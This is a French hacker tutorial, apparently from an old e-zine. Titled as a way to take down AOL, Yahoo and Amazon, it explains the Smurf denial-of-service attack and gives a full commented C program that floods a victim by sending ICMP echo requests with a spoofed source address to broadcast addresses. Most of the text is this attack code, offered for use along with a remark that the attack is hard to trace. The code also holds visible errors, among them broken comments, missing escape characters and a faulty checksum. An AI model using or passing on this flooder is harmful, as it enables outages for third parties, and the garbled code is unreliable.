|
|||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||
|
COMMENT PLANTER AOL, YAHOO, AMAZON : LE SMURF
Ce DoS est assez simple. Il suffit d'envoyer des paquets ICMP "echo requete" spoofée (c'est a dire avec une fausse adresse source : celle de votre victime) La victime est submergée de réponses de paquet ICMP.
J'explique : Le ping vous connaissez : vous envoyez un paquet ping (c'est à dire un paquet ICMP
requete echo: ICMP type 8 et code 0) à un ordinateur qui vous répond par
un autre
paquet ICMP reponse echo de type 0 et code 0. 64 bytes from 150.365.182.0 : icmp_seq=0 ttl=64 time 15.2 ms 64 bytes from 150.365.182.0 : icmp_seq=1 ttl=64 time 14.2 ms 64 bytes from 150.365.182.0 : icmp_seq=2 ttl=64 time 18.2 ms Maintenant essayons de pinger un broadcast (c'est à dire l'adresse d'un reseau comme 11.255.255.255 pour internet ou FF:FF:FF:FF:FF:FF pour Ethernet). Chaque ordinateur du réseau du broadcast va vous répondre. C'est à dire si vous envoyer 10 paquets en pingant un broadcast compose d'une centaine d'ordinateur, vous recevrez un millier de paquet provenant de la centaine d'ordi du broadcast. Donc le smurf consiste à envoyer plein de paquets requete echo à des broadcasts avec une fausse adresse source (celle de votre victime). Les ordinateurs des broadcasts, croyant recevoir un paquet ping de la machine victim vont alors répondre à celle-ci par pleins de zolis datagrammes ICMP, la machine victim submergée de paquets va alors plante en beaute !!! (le smurf est donc une attaque du style ping flood sauf qu'ici avec un seul paquet vous créez une masse de datagrammes reponse ICMP)
VOTRE ORDINATEUR | | envoit des paquets echo requete en se faisant passer pour victim (datagramme contenant comme adresse source l'adresse de victime) | | | | | | BROADCAST <-------------------- -------------------->BROADCAST avec son réseau avec son réseau ||||||| tous les ordinateurs ||||||| ||||||| des broadcasts ||||||| ||||||| renvoient alors des paquets reponse echo ||||||| ||||||| a victime pour répondre à la demande ||||||| ||||||| des paquets echo requete ||||||| ||||||| provenant de notre machine ||||||| ||||||| mais avec l'adresse source de victim ||||||| ||||||| ||||||| ||||||--------->----------| |---------<---------------|||||| |||||---------->---------|| ||--------<----------------||||| ||||----------->--------||| |||-------<-----------------|||| |||------------>-------|||| ||||------<------------------||| ||------------->------||||| |||||-----<-------------------|| |-------------->-----|||||| ||||||----<--------------------| --------------->----||||||| |||||||---<--------------------- ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| ||||||| Victime qui recoit tous les paquets et qui a mal !! (Ici j'ai mis que 7 ordi par réseau parce que ça commencait à me prendre la tête)
Normalement le smurf ne peut pas être tracer car il n'y a aucune adresse ip ou renseignement de votre ordi que vous envoyez avec les paquets ICMP echo requete. Mais peut être avec la coopération et la coordination des routeurs ? Alors attention !!! Voici un p'tit smurf de base entièrement expliquer mais il faut avoir quelques connaissances en C pour comprendre ce que je dit. Ce programme est un "smurfeur" qui lit les adresses de broadcast dans un fichier que vous auriez auparavant remplis comme ceci: 1.255.255.255 <entrée> 211.255.255.255 <entrée> 113.255.255.255 <entrée> 112.255.255.255 <entrée> 150.255.255.255 <entrée> Quand je met <entrée>, ça veut qu'il faut appuyer sur entrée et pas le taper!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
/* déclaration des librairies utilisées*/ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> #include <ctype.h> #include <arpa/inet.h> #include <signal.h> #include <unistd.h> #include <string.h> /*déclaration des fonctions*/ void argument(void); void smurf(int , struct sockaddr_in, u_long ,int ); unsigned short in_chksum(u_short *, int); /* Voici la fonction qui écrit ce qui faut taper quand cette fonction est appelée*/ void argument(void) { printf("arguments: <cible> <broadcast file>" " <nombre de paquet> <delai> <taille des paquets>" "cible = cible a attaquer : la victime " "broadcast file = fichier contenant les adresses des broadcast" "nombre de paquet = nombre de paquet a envoyer" "delai = temps ecoule entre chaque paquet envoye (in ms)" "taille des paquets = taille des paquets < 1024 "); exit(0); } /* On commence maintenant le vrai code*/ int main (int argn, char *argt[]) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfichier; int i, sock, bcast, delai, nombre, pqtaille, x, precision, cycle; char buf[16], **bcastadresse ; /* là on a déclare les variables. bcastadresse est le pointeur d'un pointeur d'une chaine de caractère et **bcastadresse est le contenu de cette variable. he est le pointeur de la structure hostent et *he est une structure hostent.*/ printf("smurf by SLy"); if (argn != 6) argument(); /* si il n'y a pas 6 arguments alors on appelle la fonction argument. Remarque : le nom du programme compte comme un argument : l'argument 0 */
nombre = atoi(argt[3]);/* atoi sert juste à convertir l'argument*/ delai = atoi(argt[4]);/* qui est une chaine de caractère en*/ pqtaille = atoi(argt[5]);/* nombre*/ /* Voici une petite erreur sur la taille du paquet */ if (pqtaille > 1024) { printf("Erreur : la taille du paquet doit etre inferieur a 1024"); exit(0); } /*On demande ensuite de remplir la structure hostent qui donne des informations sur la victime (dans ce cas la) en le demandant au serveur DNS */ if ((he = gethostbyname(argt[1]))== NULL){ printf("Cible introuvable"); exit(0)} /* bcopy( he->h_addr,(char *)&sin.sin_addr,he->h_length ); /* on copie dans sin les informations contenues dans hostent grâce aux pointeurs*/ sin.sin_port = htons(0);/*pour le port*/ sin.sin_family = AF_INET; /*pour le type : remplir comme le type de la socket*/ /* ouvre le fichier indiqué en mode read et fait une erreur si il n'y arrive pas/* if ((bcastfichier = fopen(argt[2], "r")) == NULL) { printf("ouverture du fichier impossible"); exit (0); } bcastadresse = malloc(8192); /* j'ai dit t'a l'heure que bcastadresse était un pointeur de pointeur d'une chaine de caractere. Donc commme c'est un pointeur, je crée un bloc de memoire de 8192 octets (vous pouver mettre moins mais il vaut mieux que ce soit un multilple de 16) et bcastadresse pointe le début de ce bloc memoire.*/ x = 0;
while (!feof(bcastfichier)) { /*tant que ce n'est pas la fin du fichier on fait la boucle*/ fgets(buf, 16, bcastfichier); /*fgets lit 16 octets à partir du pointeur de fichier bcastfichier mais ne lit pas tout le temps 16 octets car il s'arrête quand il rencontre '' (c'est à dire <entrée>)*/
for (i = 0; i < strlen(buf); i++) { if (buf[i] == '') buf[i] = '0';} /*Comme fgets a lu la chaine il renvoie donc la valeur avec ''. La boucle avec for ne sert juste qu'a enlever ce caractère et le remplacer par '0'(Le caractère de la fin d'une variable).*/
bcastadresse[x] = malloc(16);/*On réserve 16 octets (15 octets pour l'adresse ip (125.131.253.162 par exemple) + 1 pour le caractere de fin '0' pour le premier élément du tableau*/
strcpy(bcastadresse[x], buf);/*Copie buf dans un élément du tableau */ x++;/*incrémente x donc x=x+1*/ } bcastadresse[x] = 0x0;/*voir plus tard*/ fclose(bcastfichier);/*ferme le fichier*/ /*Encore un autre message d'erreur au cas ou*/ if (x == 0) { printf("ERREUR: Pas de broadcast trouver dans %s",argt[2]); exit(0); } /*La j'ouvre une socket de type AF_INET(ARPA Internet protocol)et de type SOCK_RAW (il doit être lancer par le root,car elle permet au programmeur d'accéder directement aux protocoles et interfaces internes du réseau. C'est indispensable lors de connections spoofées). Et tout ca grâce à la commande socket*/ if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { printf("ERREUR pour ouvrir la socket"); exit(0); } /*Là on définit les options de la socket grâce à la fonction setsockopt*/ setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s ", argt[1]); cycle = 0;
/*là on fait une boucle pour envoyer autant de paquet que celui mis pour l'argument nombre*/ for (i = 0; i < nombre || !nombre; i++) {
/*appelle de la fonction smurf (voir plus bas)*/ smurf(sock, sin, inet_addr(bcastadresse[cycle]),pqtaille); cycle++; /*on incremente cycle*/ if (bcastadresse[cycle] == 0x0) cycle = 0; /*si on rencontre 0x0 dans le tableau que pointe bcastadresse alors cela veut dire qu'il n'y a plus d'adresse broadcast après et donc on revient au début du tableau pour recommencer*/
usleep(delai); /* repose votre ordi quelques ms(avant dernier argument pour pas qu'il plante (faites comme vous voulez)*/ } }
void smurf(int sock,struct sockaddr_in sin,u_long dest ,int ptaille) { struct iphdr *ip; struct icmphdr *icmp; char *paquet; paquet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille); /*paquet pointe au début d'une zone mémoire de la taille du futur paquet*/
ip = (struct iphdr *)paquet; /* ip pointe au début de *paquet */ icmp = (struct icmphdr *) (paquet + sizeof(struct iphdr)); /*icmp pointe sur *paquet mais après la taille de l'entête ip*/
memset(paquet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille); /* longueur du paquet à envoyer*/ ip->ihl = 5; ip->version = 4; ip->ttl = 255; /* Voir l'article de Par4noID*/ ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; /*adresse source donc celle de la victime qui est contenue dans s_addr de la stucture sin_adrr de la structure sin de type sockaddr_in*/
ip->daddr = dest; /*adresse du broadcast obtenue par inet_addr(broacast[cycle]) dans la fonction d'avant*/ ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); /*taille du header ip grâce à la fonction checksum(voir plus bas)*/ icmp->type = 8; /*type 8 et code 0 pour*/ icmp->code = 0; /* dire que c'est paquet icmp echo requete*/ icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + ptaille); /*taille du header icmp grâce à la fonction checksum(voir plus bas)*/ sendto(sock, paquet, sizeof(struct iphdr) + sizeof(struct icmphdr) + ptaille, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); /*ET GO !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*/ /*le paquet est envoyée*/ free(paquet); /*on libère la mémoire occupée par paquet*/ }
/*Fonction qui permet de calculer la taille du paquet et qui est dans tous les programmes en C qui font leur paquet. Donc j'ai jamais essayer vraiment de comprendre. Alors je l'ai pompée et je ne vous l'expliquerai pas.*/ unsigned short in_chksum(u_short * addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } ------------------------------Cut here---------------------------------
|
|
|||||||||||||||||||||||||||||||||
|